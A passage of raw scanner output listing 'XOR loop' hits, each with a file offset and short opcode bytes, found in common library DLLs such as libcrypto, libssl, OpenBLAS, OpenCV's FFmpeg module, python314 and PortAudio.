file "libcrypto-3.dll" at offset 3101909; code bytes = 33c1 Found XOR loop in file "libcrypto-3.dll" at offset 3102311; code bytes = 33c1 Found XOR loop in file "libcrypto-3.dll" at offset 3102410; code bytes = 33c1 Found XOR loop in file "libcrypto-3.dll" at offset 3102561; code bytes = 33c1 Found XOR loop in file "libcrypto-3.dll" at offset 3102972; code bytes = 33c1 Found XOR loop in file "libcrypto-3.dll" at offset 3103057; code bytes = 33c1 Found XOR loop in file "libcrypto-3.dll" at offset 3103201; code bytes = 33c1 Found XOR loop in file "libcrypto-3.dll" at offset 3103604; code bytes = 33c1 Found XOR loop in file "libcrypto-3.dll" at offset 3103885; code bytes = 33c1 Found XOR loop in file "libcrypto-3.dll" at offset 3103950; code bytes = 33c1 Found XOR loop in file "libcrypto-3.dll" at offset 3104258; code bytes = 33c1 Found XOR loop in file "libcrypto-3.dll" at offset 3104349; code bytes = 33c1 Found XOR loop in file "libcrypto-3.dll" at offset 3104498; code bytes = 33c1 Found XOR loop in file "libcrypto-3.dll" at offset 3104912; code bytes = 33c1 Found XOR loop in file "libcrypto-3.dll" at offset 3104999; code bytes = 33c1 Found XOR loop in file "libcrypto-3.dll" at offset 3105150; code bytes = 33c1 Found XOR loop in file "libcrypto-3.dll" at offset 3105561; code bytes = 33c1 Found XOR loop in file "libcrypto-3.dll" at offset 3105640; code bytes = 33c1 Found XOR loop in file "libcrypto-3.dll" at offset 3105799; code bytes = 33c1 Found XOR loop in file "libcrypto-3.dll" at offset 3106202; code bytes = 33c1 Found XOR loop in file "libcrypto-3.dll" at offset 3106284; code bytes = 33c1 Found XOR loop in file "libcrypto-3.dll" at offset 3106437; code bytes = 33c1 Found XOR loop in file "libcrypto-3.dll" at offset 3106821; code bytes = 33c1 Found XOR loop in file "libcrypto-3.dll" at offset 3106923; code bytes = 33c1 Found XOR loop in file "libcrypto-3.dll" at offset 3107067; code bytes = 33c1 Found XOR loop in file "libcrypto-3.dll" at offset 3107482; code bytes = 33c1 Found XOR loop in file "libcrypto-3.dll" at offset 3107567; code bytes = 33c1 Found XOR loop in file "libcrypto-3.dll" at offset 3107709; code bytes = 33c1 Found XOR loop in file "libcrypto-3.dll" at offset 3108132; code bytes = 33c1 Found XOR loop in file "libcrypto-3.dll" at offset 3108218; code bytes = 33c1 Found XOR loop in file "libcrypto-3.dll" at offset 3108372; code bytes = 33c1 Found XOR loop in file "libcrypto-3.dll" at offset 3108531; code bytes = 33c1 Found XOR loop in file "libcrypto-3.dll" at offset 3111400; code bytes = 33c1 Found XOR loop in file "libcrypto-3.dll" at offset 3111432; code bytes = 33c1 Found XOR loop in file "libcrypto-3.dll" at offset 3113450; code bytes = 33c1 Found XOR loop in file "libcrypto-3.dll" at offset 3113730; code bytes = 33c1 Found XOR loop in file "libcrypto-3.dll" at offset 3114105; code bytes = 33c1 Found XOR loop in file "libcrypto-3.dll" at offset 3114168; code bytes = 33c1 Found XOR loop in file "libcrypto-3.dll" at offset 3114322; code bytes = 33c1 Found XOR loop in file "libcrypto-3.dll" at offset 3114698; code bytes = 33c1 Found XOR loop in file "libcrypto-3.dll" at offset 3114774; code bytes = 33c1 Found XOR loop in file "libcrypto-3.dll" at offset 3114915; code bytes = 33c1 Found XOR loop in file "libcrypto-3.dll" at offset 3115362; code bytes = 33c1 Found XOR loop in file "libcrypto-3.dll" at offset 3115518; code bytes = 33c1 Found XOR loop in file "libcrypto-3.dll" at offset 3115877; code bytes = 33c1 Found XOR loop in file "libcrypto-3.dll" at offset 3115953; code bytes = 33c1 Found XOR loop in file "libcrypto-3.dll" at offset 3116086; code bytes = 33c1 Found XOR loop in file "libcrypto-3.dll" at offset 3116470; code bytes = 33c1 Found XOR loop in file "libcrypto-3.dll" at offset 3116547; code bytes = 33c1 Found XOR loop in file "libcrypto-3.dll" at offset 3116690; code bytes = 33c1 Found XOR loop in file "libcrypto-3.dll" at offset 3117066; code bytes = 33c1 Found XOR loop in file "libcrypto-3.dll" at offset 3117143; code bytes = 33c1 Found XOR loop in file "libcrypto-3.dll" at offset 3117285; code bytes = 33c1 Found XOR loop in file "libcrypto-3.dll" at offset 3117670; code bytes = 33c1 Found XOR loop in file "libcrypto-3.dll" at offset 3117733; code bytes = 33c1 Found XOR loop in file "libcrypto-3.dll" at offset 3117889; code bytes = 33c1 Found XOR loop in file "libcrypto-3.dll" at offset 3118044; code bytes = 33c1 Found XOR loop in file "libcrypto-3.dll" at offset 3118246; code bytes = 33c1 Found XOR loop in file "libcrypto-3.dll" at offset 3118327; code bytes = 33c1 Found XOR loop in file "libcrypto-3.dll" at offset 3118468; code bytes = 33c1 Found XOR loop in file "libcrypto-3.dll" at offset 3118839; code bytes = 33c1 Found XOR loop in file "libcrypto-3.dll" at offset 3118925; code bytes = 33c1 Found XOR loop in file "libcrypto-3.dll" at offset 3119059; code bytes = 33c1 Found XOR loop in file "libcrypto-3.dll" at offset 3119268; code bytes = 33c1 Found XOR loop in file "libcrypto-3.dll" at offset 3335359; code bytes = 33c1 Found XOR loop in file "libcrypto-3.dll" at offset 3335391; code bytes = 33c1 Found XOR loop in file "libcrypto-3.dll" at offset 3336593; code bytes = 33c1 Found XOR loop in file "libcrypto-3.dll" at offset 3343343; code bytes = 33c1 Found XOR loop in file "libcrypto-3.dll" at offset 3343375; code bytes = 33c1 Found XOR loop in file "libcrypto-3.dll" at offset 3344735; code bytes = 33c1 Found XOR loop in file "libcrypto-3.dll" at offset 3506419; code bytes = 33c1 Found XOR loop in file "libcrypto-3.dll" at offset 3506553; code bytes = 33c1 Found XOR loop in file "libcrypto-3.dll" at offset 3506685; code bytes = 33c1 Found XOR loop in file "libcrypto-3.dll" at offset 3507506; code bytes = 33c1 Found XOR loop in file "libcrypto-3.dll" at offset 3507623; code bytes = 33c1 Found XOR loop in file "libcrypto-3.dll" at offset 3507766; code bytes = 33c1 Found XOR loop in file "libcrypto-3.dll" at offset 3507905; code bytes = 33c1 Found XOR loop in file "libcrypto-3.dll" at offset 3673932; code bytes = 33c1 Found XOR loop in file "libcrypto-3.dll" at offset 3675537; code bytes = 33c1 Found XOR loop in file "libcrypto-3.dll" at offset 3675542; code bytes = 33c1 Found XOR loop in file "libcrypto-3.dll" at offset 3809123; code bytes = 33c1 Found XOR loop in file "libcrypto-3.dll" at offset 3809203; code bytes = 33c1 Found XOR loop in file "libcrypto-3.dll" at offset 3817628; code bytes = 33c1 Found XOR loop in file "libcrypto-3.dll" at offset 3827779; code bytes = 33c1 Found XOR loop in file "libcrypto-3.dll" at offset 3827891; code bytes = 33c1 Found XOR loop in file "libcrypto-3.dll" at offset 3829022; code bytes = 33c1 Found XOR loop in file "libcrypto-3.dll" at offset 3829062; code bytes = 33c1 Found XOR loop in file "libcrypto-3.dll" at offset 3836397; code bytes = 33c1 Found XOR loop in file "libcrypto-3.dll" at offset 3836563; code bytes = 33c1 Found XOR loop in file "libcrypto-3.dll" at offset 3971451; code bytes = 33c1 Found XOR loop in file "libcrypto-3.dll" at offset 4090464; code bytes = 33c1 Found XOR loop in file "libcrypto-3.dll" at offset 4115324; code bytes = 33c1 Found XOR loop in file "libcrypto-3.dll" at offset 4196669; code bytes = 33c1 Found XOR loop in file "libcrypto-3.dll" at offset 28220; code bytes = 8030 Found XOR loop in file "libcrypto-3.dll" at offset 772591; code bytes = 8030 Found XOR loop in file "libcrypto-3.dll" at offset 772603; code bytes = 8030 Found XOR loop in file "libcrypto-3.dll" at offset 1841255; code bytes = 8030 Found XOR loop in file "libcrypto-3.dll" at offset 2007204; code bytes = 8030 Found XOR loop in file "libcrypto-3.dll" at offset 2067140; code bytes = 8030 Found XOR loop in file "libcrypto-3.dll" at offset 2292994; code bytes = 8030 Found XOR loop in file "libcrypto-3.dll" at offset 2770577; code bytes = 8030 Found XOR loop in file "libcrypto-3.dll" at offset 2772051; code bytes = 8030 Found XOR loop in file "libcrypto-3.dll" at offset 2772069; code bytes = 8030 Found XOR loop in file "libcrypto-3.dll" at offset 2772087; code bytes = 8030 Found XOR loop in file "libcrypto-3.dll" at offset 3059252; code bytes = 8030 Found XOR loop in file "libcrypto-3.dll" at offset 3230043; code bytes = 8030 Found XOR loop in file "libcrypto-3.dll" at offset 3996592; code bytes = 8030 Found XOR loop in file "libcrypto-3.dll" at offset 4184092; code bytes = 8030 Found XOR loop in file "libcrypto-3.dll" at offset 4238315; code bytes = 8030 Found XOR loop in file "libcrypto-3.dll" at offset 4293994; code bytes = 8030 Found XOR loop in file "libcrypto-3.dll" at offset 4389544; code bytes = 8030 Found XOR loop in file "libcrypto-3.dll" at offset 4389608; code bytes = 8030 Found XOR loop in file "libcrypto-3.dll" at offset 4727442; code bytes = 8030 Found XOR loop in file "libcrypto-3.dll" at offset 4728849; code bytes = 8030 Found XOR loop in file "libcrypto-3.dll" at offset 4729488; code bytes = 8030 Found XOR loop in file "libcrypto-3.dll" at offset 4844192; code bytes = 8030 Found XOR loop in file "libcrypto-3.dll" at offset 4884392; code bytes = 8030 Found XOR loop in file "libcrypto-3.dll" at offset 5129704; code bytes = 8030 Found XOR loop in file "libcrypto-3.dll" at offset 5129984; code bytes = 8030 Found XOR loop in file "libcrypto-3.dll" at offset 5130192; code bytes = 8030 Found XOR loop in file "libcrypto-3.dll" at offset 5152952; code bytes = 8030 Found XOR loop in file "libcrypto-3.dll" at offset 5153312; code bytes = 8030 Found XOR loop in file "libscipy_openblas64_-ed4f167a5330424524f45258e7ca2c8d.dll" at offset 2626268; code bytes = 30d0 Found XOR loop in file "libscipy_openblas64_-ed4f167a5330424524f45258e7ca2c8d.dll" at offset 168269; code bytes = 8030 Found XOR loop in file "libscipy_openblas64_-ed4f167a5330424524f45258e7ca2c8d.dll" at offset 175055; code bytes = 8030 Found XOR loop in file "libscipy_openblas64_-ed4f167a5330424524f45258e7ca2c8d.dll" at offset 175373; code bytes = 8030 Found XOR loop in file "libscipy_openblas64_-ed4f167a5330424524f45258e7ca2c8d.dll" at offset 309027; code bytes = 8030 Found XOR loop in file "libscipy_openblas64_-ed4f167a5330424524f45258e7ca2c8d.dll" at offset 1479413; code bytes = 8030 Found XOR loop in file "libscipy_openblas64_-ed4f167a5330424524f45258e7ca2c8d.dll" at offset 1482149; code bytes = 8030 Found XOR loop in file "libscipy_openblas64_-ed4f167a5330424524f45258e7ca2c8d.dll" at offset 1503084; code bytes = 8030 Found XOR loop in file "libscipy_openblas64_-ed4f167a5330424524f45258e7ca2c8d.dll" at offset 1506146; code bytes = 8030 Found XOR loop in file "libscipy_openblas64_-ed4f167a5330424524f45258e7ca2c8d.dll" at offset 1745727; code bytes = 8030 Found XOR loop in file "libscipy_openblas64_-ed4f167a5330424524f45258e7ca2c8d.dll" at offset 1749983; code bytes = 8030 Found XOR loop in file "libscipy_openblas64_-ed4f167a5330424524f45258e7ca2c8d.dll" at offset 2486868; code bytes = 8030 Found XOR loop in file "libscipy_openblas64_-ed4f167a5330424524f45258e7ca2c8d.dll" at offset 2525644; code bytes = 8030 Found XOR loop in file "libscipy_openblas64_-ed4f167a5330424524f45258e7ca2c8d.dll" at offset 2941235; code bytes = 8030 Found XOR loop in file "libscipy_openblas64_-ed4f167a5330424524f45258e7ca2c8d.dll" at offset 2948886; code bytes = 8030 Found XOR loop in file "libscipy_openblas64_-ed4f167a5330424524f45258e7ca2c8d.dll" at offset 2955515; code bytes = 8030 Found XOR loop in file "libscipy_openblas64_-ed4f167a5330424524f45258e7ca2c8d.dll" at offset 2962329; code bytes = 8030 Found XOR loop in file "libscipy_openblas64_-ed4f167a5330424524f45258e7ca2c8d.dll" at offset 4395628; code bytes = 8030 Found XOR loop in file "libscipy_openblas64_-ed4f167a5330424524f45258e7ca2c8d.dll" at offset 4395683; code bytes = 8030 Found XOR loop in file "libscipy_openblas64_-ed4f167a5330424524f45258e7ca2c8d.dll" at offset 4399516; code bytes = 8030 Found XOR loop in file "libscipy_openblas64_-ed4f167a5330424524f45258e7ca2c8d.dll" at offset 4534787; code bytes = 8030 Found XOR loop in file "libscipy_openblas64_-ed4f167a5330424524f45258e7ca2c8d.dll" at offset 4542438; code bytes = 8030 Found XOR loop in file "libscipy_openblas64_-ed4f167a5330424524f45258e7ca2c8d.dll" at offset 4549067; code bytes = 8030 Found XOR loop in file "libscipy_openblas64_-ed4f167a5330424524f45258e7ca2c8d.dll" at offset 4555881; code bytes = 8030 Found XOR loop in file "libscipy_openblas64_-ed4f167a5330424524f45258e7ca2c8d.dll" at offset 4775409; code bytes = 8030 Found XOR loop in file "libscipy_openblas64_-ed4f167a5330424524f45258e7ca2c8d.dll" at offset 4775749; code bytes = 8030 Found XOR loop in file "libscipy_openblas64_-ed4f167a5330424524f45258e7ca2c8d.dll" at offset 4783505; code bytes = 8030 Found XOR loop in file "libscipy_openblas64_-ed4f167a5330424524f45258e7ca2c8d.dll" at offset 4784019; code bytes = 8030 Found XOR loop in file "libscipy_openblas64_-ed4f167a5330424524f45258e7ca2c8d.dll" at offset 4790509; code bytes = 8030 Found XOR loop in file "libscipy_openblas64_-ed4f167a5330424524f45258e7ca2c8d.dll" at offset 4790808; code bytes = 8030 Found XOR loop in file "libscipy_openblas64_-ed4f167a5330424524f45258e7ca2c8d.dll" at offset 4798314; code bytes = 8030 Found XOR loop in file "libscipy_openblas64_-ed4f167a5330424524f45258e7ca2c8d.dll" at offset 4798633; code bytes = 8030 Found XOR loop in file "libscipy_openblas64_-ed4f167a5330424524f45258e7ca2c8d.dll" at offset 4813634; code bytes = 8030 Found XOR loop in file "libscipy_openblas64_-ed4f167a5330424524f45258e7ca2c8d.dll" at offset 4850010; code bytes = 8030 Found XOR loop in file "libscipy_openblas64_-ed4f167a5330424524f45258e7ca2c8d.dll" at offset 4855387; code bytes = 8030 Found XOR loop in file "opencv_videoio_ffmpeg500_64.dll" at offset 4621276; code bytes = 30d0 Found XOR loop in file "opencv_videoio_ffmpeg500_64.dll" at offset 4623195; code bytes = 30d0 Found XOR loop in file "opencv_videoio_ffmpeg500_64.dll" at offset 4623898; code bytes = 30d0 Found XOR loop in file "opencv_videoio_ffmpeg500_64.dll" at offset 4645967; code bytes = 30d0 Found XOR loop in file "opencv_videoio_ffmpeg500_64.dll" at offset 4648327; code bytes = 30d0 Found XOR loop in file "opencv_videoio_ffmpeg500_64.dll" at offset 4650011; code bytes = 30d0 Found XOR loop in file "opencv_videoio_ffmpeg500_64.dll" at offset 4650748; code bytes = 30d0 Found XOR loop in file "opencv_videoio_ffmpeg500_64.dll" at offset 499657; code bytes = 33c1 Found XOR loop in file "opencv_videoio_ffmpeg500_64.dll" at offset 2619801; code bytes = 33c1 Found XOR loop in file "opencv_videoio_ffmpeg500_64.dll" at offset 2681712; code bytes = 33c1 Found XOR loop in file "opencv_videoio_ffmpeg500_64.dll" at offset 2681838; code bytes = 33c1 Found XOR loop in file "opencv_videoio_ffmpeg500_64.dll" at offset 2688946; code bytes = 33c1 Found XOR loop in file "opencv_videoio_ffmpeg500_64.dll" at offset 2698902; code bytes = 33c1 Found XOR loop in file "opencv_videoio_ffmpeg500_64.dll" at offset 2700134; code bytes = 33c1 Found XOR loop in file "opencv_videoio_ffmpeg500_64.dll" at offset 3696377; code bytes = 33c1 Found XOR loop in file "opencv_videoio_ffmpeg500_64.dll" at offset 114256; code bytes = 8030 Found XOR loop in file "opencv_videoio_ffmpeg500_64.dll" at offset 152748; code bytes = 8030 Found XOR loop in file "opencv_videoio_ffmpeg500_64.dll" at offset 290081; code bytes = 8030 Found XOR loop in file "opencv_videoio_ffmpeg500_64.dll" at offset 303762; code bytes = 8030 Found XOR loop in file "opencv_videoio_ffmpeg500_64.dll" at offset 1904369; code bytes = 8030 Found XOR loop in file "opencv_videoio_ffmpeg500_64.dll" at offset 1904376; code bytes = 8030 Found XOR loop in file "opencv_videoio_ffmpeg500_64.dll" at offset 1913780; code bytes = 8030 Found XOR loop in file "opencv_videoio_ffmpeg500_64.dll" at offset 1913830; code bytes = 8030 Found XOR loop in file "opencv_videoio_ffmpeg500_64.dll" at offset 1988058; code bytes = 8030 Found XOR loop in file "opencv_videoio_ffmpeg500_64.dll" at offset 2423778; code bytes = 8030 Found XOR loop in file "opencv_videoio_ffmpeg500_64.dll" at offset 2424430; code bytes = 8030 Found XOR loop in file "opencv_videoio_ffmpeg500_64.dll" at offset 2424727; code bytes = 8030 Found XOR loop in file "opencv_videoio_ffmpeg500_64.dll" at offset 2424933; code bytes = 8030 Found XOR loop in file "opencv_videoio_ffmpeg500_64.dll" at offset 2425166; code bytes = 8030 Found XOR loop in file "opencv_videoio_ffmpeg500_64.dll" at offset 2436935; code bytes = 8030 Found XOR loop in file "opencv_videoio_ffmpeg500_64.dll" at offset 2438528; code bytes = 8030 Found XOR loop in file "opencv_videoio_ffmpeg500_64.dll" at offset 2660604; code bytes = 8030 Found XOR loop in file "opencv_videoio_ffmpeg500_64.dll" at offset 3092977; code bytes = 8030 Found XOR loop in file "opencv_videoio_ffmpeg500_64.dll" at offset 3107505; code bytes = 8030 Found XOR loop in file "opencv_videoio_ffmpeg500_64.dll" at offset 3325539; code bytes = 8030 Found XOR loop in file "opencv_videoio_ffmpeg500_64.dll" at offset 3698789; code bytes = 8030 Found XOR loop in file "opencv_videoio_ffmpeg500_64.dll" at offset 3698861; code bytes = 8030 Found XOR loop in file "opencv_videoio_ffmpeg500_64.dll" at offset 3701249; code bytes = 8030 Found XOR loop in file "opencv_videoio_ffmpeg500_64.dll" at offset 3701327; code bytes = 8030 Found XOR loop in file "opencv_videoio_ffmpeg500_64.dll" at offset 3701384; code bytes = 8030 Found XOR loop in file "opencv_videoio_ffmpeg500_64.dll" at offset 4438488; code bytes = 8030 Found XOR loop in file "opencv_videoio_ffmpeg500_64.dll" at offset 4452404; code bytes = 8030 Found XOR loop in file "opencv_videoio_ffmpeg500_64.dll" at offset 4727217; code bytes = 8030 Found XOR loop in file "opencv_videoio_ffmpeg500_64.dll" at offset 4731688; code bytes = 8030 Found XOR loop in file "opencv_videoio_ffmpeg500_64.dll" at offset 5193723; code bytes = 8030 Found XOR loop in file "libssl-3.dll" at offset 544453; code bytes = 30d0 Found XOR loop in file "libssl-3.dll" at offset 1095824; code bytes = 30d0 Found XOR loop in file "libssl-3.dll" at offset 33700; code bytes = 33c1 Found XOR loop in file "libssl-3.dll" at offset 33796; code bytes = 33c1 Found XOR loop in file "libssl-3.dll" at offset 33956; code bytes = 33c1 Found XOR loop in file "libssl-3.dll" at offset 33998; code bytes = 33c1 Found XOR loop in file "libssl-3.dll" at offset 400802; code bytes = 33c1 Found XOR loop in file "libssl-3.dll" at offset 400814; code bytes = 33c1 Found XOR loop in file "libssl-3.dll" at offset 488920; code bytes = 33c1 Found XOR loop in file "libssl-3.dll" at offset 488925; code bytes = 33c1 Found XOR loop in file "libssl-3.dll" at offset 534998; code bytes = 33c1 Found XOR loop in file "libssl-3.dll" at offset 535005; code bytes = 33c1 Found XOR loop in file "libssl-3.dll" at offset 566557; code bytes = 33c1 Found XOR loop in file "libssl-3.dll" at offset 566567; code bytes = 33c1 Found XOR loop in file "libssl-3.dll" at offset 566614; code bytes = 33c1 Found XOR loop in file "libssl-3.dll" at offset 568138; code bytes = 33c1 Found XOR loop in file "libssl-3.dll" at offset 568145; code bytes = 33c1 Found XOR loop in file "libssl-3.dll" at offset 569797; code bytes = 33c1 Found XOR loop in file "libssl-3.dll" at offset 569804; code bytes = 33c1 Found XOR loop in file "libssl-3.dll" at offset 634210; code bytes = 33c1 Found XOR loop in file "libssl-3.dll" at offset 634215; code bytes = 33c1 Found XOR loop in file "libssl-3.dll" at offset 646480; code bytes = 33c1 Found XOR loop in file "libssl-3.dll" at offset 646487; code bytes = 33c1 Found XOR loop in file "libssl-3.dll" at offset 677923; code bytes = 33c1 Found XOR loop in file "libssl-3.dll" at offset 678003; code bytes = 33c1 Found XOR loop in file "libssl-3.dll" at offset 716035; code bytes = 33c1 Found XOR loop in file "libssl-3.dll" at offset 716147; code bytes = 33c1 Found XOR loop in file "libssl-3.dll" at offset 717278; code bytes = 33c1 Found XOR loop in file "libssl-3.dll" at offset 717318; code bytes = 33c1 Found XOR loop in file "libssl-3.dll" at offset 718810; code bytes = 33c1 Found XOR loop in file "libssl-3.dll" at offset 883806; code bytes = 33c1 Found XOR loop in file "libssl-3.dll" at offset 939981; code bytes = 33c1 Found XOR loop in file "libssl-3.dll" at offset 940147; code bytes = 33c1 Found XOR loop in file "libssl-3.dll" at offset 1301832; code bytes = 33c1 Found XOR loop in file "libssl-3.dll" at offset 93276; code bytes = 8030 Found XOR loop in file "libssl-3.dll" at offset 324841; code bytes = 8030 Found XOR loop in file "libssl-3.dll" at offset 592006; code bytes = 8030 Found XOR loop in file "libssl-3.dll" at offset 727746; code bytes = 8030 Found XOR loop in file "libssl-3.dll" at offset 843049; code bytes = 8030 Found XOR loop in file "libssl-3.dll" at offset 1297243; code bytes = 8030 Found XOR loop in file "libssl-3.dll" at offset 1298843; code bytes = 8030 Found XOR loop in file "libssl-3.dll" at offset 1306413; code bytes = 8030 Found XOR loop in file "python314.dll" at offset 754167; code bytes = 30d0 Found XOR loop in file "python314.dll" at offset 171701; code bytes = 33c1 Found XOR loop in file "python314.dll" at offset 189394; code bytes = 33c1 Found XOR loop in file "python314.dll" at offset 200801; code bytes = 33c1 Found XOR loop in file "python314.dll" at offset 316782; code bytes = 33c1 Found XOR loop in file "python314.dll" at offset 402499; code bytes = 33c1 Found XOR loop in file "python314.dll" at offset 402699; code bytes = 33c1 Found XOR loop in file "python314.dll" at offset 402937; code bytes = 33c1 Found XOR loop in file "python314.dll" at offset 845774; code bytes = 33c1 Found XOR loop in file "python314.dll" at offset 847492; code bytes = 33c1 Found XOR loop in file "python314.dll" at offset 849065; code bytes = 33c1 Found XOR loop in file "python314.dll" at offset 561671; code bytes = 8030 Found XOR loop in file "python314.dll" at offset 1008895; code bytes = 8030 Found XOR loop in file "msvcp140-a4c2229bdc2a2a630acdc095b4d86008.dll" at offset 183656; code bytes = 33c1 Found XOR loop in file "msvcp140-a4c2229bdc2a2a630acdc095b4d86008.dll" at offset 334240; code bytes = 33c1 Found XOR loop in file "msvcp140-a4c2229bdc2a2a630acdc095b4d86008.dll" at offset 140044; code bytes = 8030 Found XOR loop in file "msvcp140-a4c2229bdc2a2a630acdc095b4d86008.dll" at offset 348080; code bytes = 8030 Found XOR loop in file "msvcp140-a4c2229bdc2a2a630acdc095b4d86008.dll" at offset 394785; code bytes = 8030 Found XOR loop in file "msvcp140-a4c2229bdc2a2a630acdc095b4d86008.dll" at offset 396147; code bytes = 8030 Found XOR loop in file "msvcp140-a4c2229bdc2a2a630acdc095b4d86008.dll" at offset 396591; code bytes = 8030 Found XOR loop in file "msvcp140-a4c2229bdc2a2a630acdc095b4d86008.dll" at offset 403176; code bytes = 8030 Found XOR loop in file "msvcp140-a4c2229bdc2a2a630acdc095b4d86008.dll" at offset 540556; code bytes = 8030 Found XOR loop in file "msvcp140-a4c2229bdc2a2a630acdc095b4d86008.dll" at offset 558737; code bytes = 8030 Found XOR loop in file "msvcp140-a4c2229bdc2a2a630acdc095b4d86008.dll" at offset 560422; code bytes = 8030 Found XOR loop in file "msvcp140-a4c2229bdc2a2a630acdc095b4d86008.dll" at offset 569033; code bytes = 8030 Found XOR loop in file "msvcp140-a4c2229bdc2a2a630acdc095b4d86008.dll" at offset 570718; code bytes = 8030 Found XOR loop in file "libportaudio64bit-asio.dll" at offset 252405; code bytes = 30d0 Found XOR loop in file "libportaudio64bit-asio.dll" at offset 257925; code bytes = 30d0 Found XOR loop in file "libportaudio64bit-asio.dll" at offset 258133; code bytes = 30d0 Found XOR loop in file "libportaudio64bit-asio.dll" at offset 258181; code bytes = 30d0 Found XOR loop in file "libportaudio64bit-asio.dll" at offset 258709; code bytes = 30d0 Found XOR loop in file "libportaudio64bit-asio.dll" at offset 258773; code bytes = 30d0 Found XOR loop in file "libportaudio64bit-asio.dll" at offset 258789; code bytes = 30d0 Found XOR loop in file "libportaudio64bit-asio.dll" at offset 332676; code bytes = 30d0 Found XOR loop in file "libportaudio64bit-asio.dll" at offset 333120; code bytes = 30d0 Found XOR loop in file "libportaudio64bit-asio.dll" at offset 336096; code bytes = 30d0 Found XOR loop in file "libportaudio64bit-asio.dll" at offset 336900; code bytes = 30d0 Found XOR loop in file "libportaudio64bit-asio.dll" at offset 144223; code bytes = 33c1 Found XOR loop in file "libportaudio64bit-asio.dll" at offset 132456; code bytes = 8030 Found XOR loop in file "libportaudioarm64-asio.dll" at offset 241509; code bytes = 30d0 Found XOR loop in file "libportaudioarm64-asio.dll" at offset 247029; code bytes = 30d0 Found XOR loop in file "libportaudioarm64-asio.dll" at offset 247237; code bytes = 30d0 Found XOR loop in file "libportaudioarm64-asio.dll" at offset 247285; code bytes = 30d0 Found XOR loop in file "libportaudioarm64-asio.dll" at offset 247813; code bytes = 30d0 Found XOR loop in file "libportaudioarm64-asio.dll" at offset 247877; code bytes = 30d0 Found XOR loop in file "libportaudioarm64-asio.dll" at offset 247893; code bytes = 30d0 Found XOR loop in file "libportaudio64bit.dll" at offset 222101; code bytes = 30d0 Found XOR loop in file "libportaudio64bit.dll" at offset 227621; code bytes = 30d0 Found XOR loop in file "libportaudio64bit.dll" at offset 227829; code bytes = 30d0 Found XOR loop in file "libportaudio64bit.dll" at offset 227877; code bytes = 30d0 Found XOR loop in file "libportaudio64bit.dll" at offset 228405; code bytes = 30d0 Found XOR loop in file "libportaudio64bit.dll" at offset 228469; code bytes = 30d0 Found XOR loop in file "libportaudio64bit.dll" at offset 228485; code bytes = 30d0 Found XOR loop in file "libportaudio64bit.dll" at offset 244192; code bytes = 30d0 Found XOR loop in file "libportaudio64bit.dll" at offset 124499; code bytes = 33c1 Found XOR loop in file "libportaudio64bit.dll" at offset 117544; code bytes = 8030 Found XOR loop in file "libportaudio64bit.dll" at offset 284016; code bytes = 8030 Found XOR loop in file "libportaudio64bit.dll" at offset 297736; code bytes = 8030 Found XOR loop in file "libportaudioarm64.dll" at offset 221909; code bytes = 30d0 Found XOR loop in file "libportaudioarm64.dll" at offset 227429; code bytes = 30d0 Found XOR loop in file "libportaudioarm64.dll" at offset 227637; code bytes = 30d0 Found XOR loop in file "libportaudioarm64.dll" at offset 227685; code bytes = 30d0 Found XOR loop in file "libportaudioarm64.dll" at offset 228213; code bytes = 30d0 Found XOR loop in file "libportaudioarm64.dll" at offset 228277; code bytes = 30d0 Found XOR loop in file "libportaudioarm64.dll" at offset 228293; code bytes = 30d0 Found XOR loop in file "libportaudioarm64.dll" at offset 288240; code bytes = 8030 Found XOR loop in file "libportaudioarm64.dll" at offset 290128; code bytes = 8030 Found XOR loop in file "libportaudio32bit-asio.dll" at offset 207043; code bytes = 30d0 Found XOR loop in file "libportaudio32bit-asio.dll" at offset 224525; code bytes = 30d0 Found XOR loop in file "libportaudio32bit-asio.dll" at offset 224733; code bytes = 30d0 Found XOR loop in file "libportaudio32bit-asio.dll" at offset 224781; code bytes = 30d0 Found XOR loop in file "libportaudio32bit-asio.dll" at offset 225309; code bytes = 30d0 Found XOR loop in file "libportaudio32bit-asio.dll" at offset 225373; code bytes = 30d0 Found XOR loop in file "libportaudio32bit-asio.dll" at offset 225389; code bytes = 30d0 Found XOR loop in file "libportaudio32bit-asio.dll" at offset 230085; code bytes = 30d0 Found XOR loop in file "libportaudio32bit-asio.dll" at offset 280177; code bytes = 30d0 Found XOR loop in file "libportaudio32bit-asio.dll" at offset 280411; code bytes = 30d0 Found XOR loop in file "libportaudio32bit-asio.dll" at offset 36920; code bytes = 33c1 Found XOR loop in file "libportaudio32bit-asio.dll" at offset 130140; code bytes = 33c1 Found XOR loop in file "libportaudio32bit-asio.dll" at offset 133515; code bytes = 33c1 Found XOR loop in file "libportaudio32bit-asio.dll" at offset 81125; code bytes = 8030 Found XOR loop in file "libportaudio32bit-asio.dll" at offset 81199; code bytes = 8030 Found XOR loop in file "libportaudio32bit-asio.dll" at offset 95582; code bytes = 8030 Found XOR loop in file "libportaudio32bit-asio.dll" at offset 260656; code bytes = 8030 Found XOR loop in file "libportaudio32bit-asio.dll" at offset 280372; code bytes = 8030 Found XOR loop in file "libportaudio32bit.dll" at offset 206045; code bytes = 30d0 Found XOR loop in file "libportaudio32bit.dll" at offset 206253; code bytes = 30d0 Found XOR loop in file "libportaudio32bit.dll" at offset 206301; code bytes = 30d0 Found XOR loop in file "libportaudio32bit.dll" at offset 206829; code bytes = 30d0 Found XOR loop in file "libportaudio32bit.dll" at offset 206893; code bytes = 30d0 Found XOR loop in file "libportaudio32bit.dll" at offset 206909; code bytes = 30d0 Found XOR loop in file "libportaudio32bit.dll" at offset 211605; code bytes = 30d0 Found XOR loop in file "libportaudio32bit.dll" at offset 254741; code bytes = 30d0 Found XOR loop in file "libportaudio32bit.dll" at offset 258027; code bytes = 30d0 Found XOR loop in file "libportaudio32bit.dll" at offset 259571; code bytes = 30d0 Found XOR loop in file "libportaudio32bit.dll" at offset 260191; code bytes = 30d0 Found XOR loop in file "libportaudio32bit.dll" at offset 112052; code bytes = 33c1 Found XOR loop in file "libportaudio32bit.dll" at offset 117354; code bytes = 33c1 Found XOR loop in file "libportaudio32bit.dll" at offset 165650; code bytes = 33c1 Found XOR loop in file "libportaudio32bit.dll" at offset 257345; code bytes = 33c1 Found XOR loop in file "libportaudio32bit.dll" at offset 82046; code bytes = 8030 Found XOR loop in file "libportaudio32bit.dll" at offset 241440; code bytes = 8030 Found XOR loop in file "libportaudio32bit.dll" at offset 256014; code bytes = 8030 Found XOR loop in file "libportaudio32bit.dll" at offset 258868; code bytes = 8030 Found XOR loop in file "libportaudio32bit.dll" at offset 259552; code bytes = 8030 Found XOR loop in file "libportaudio32bit.dll" at offset 260068; code bytes = 8030 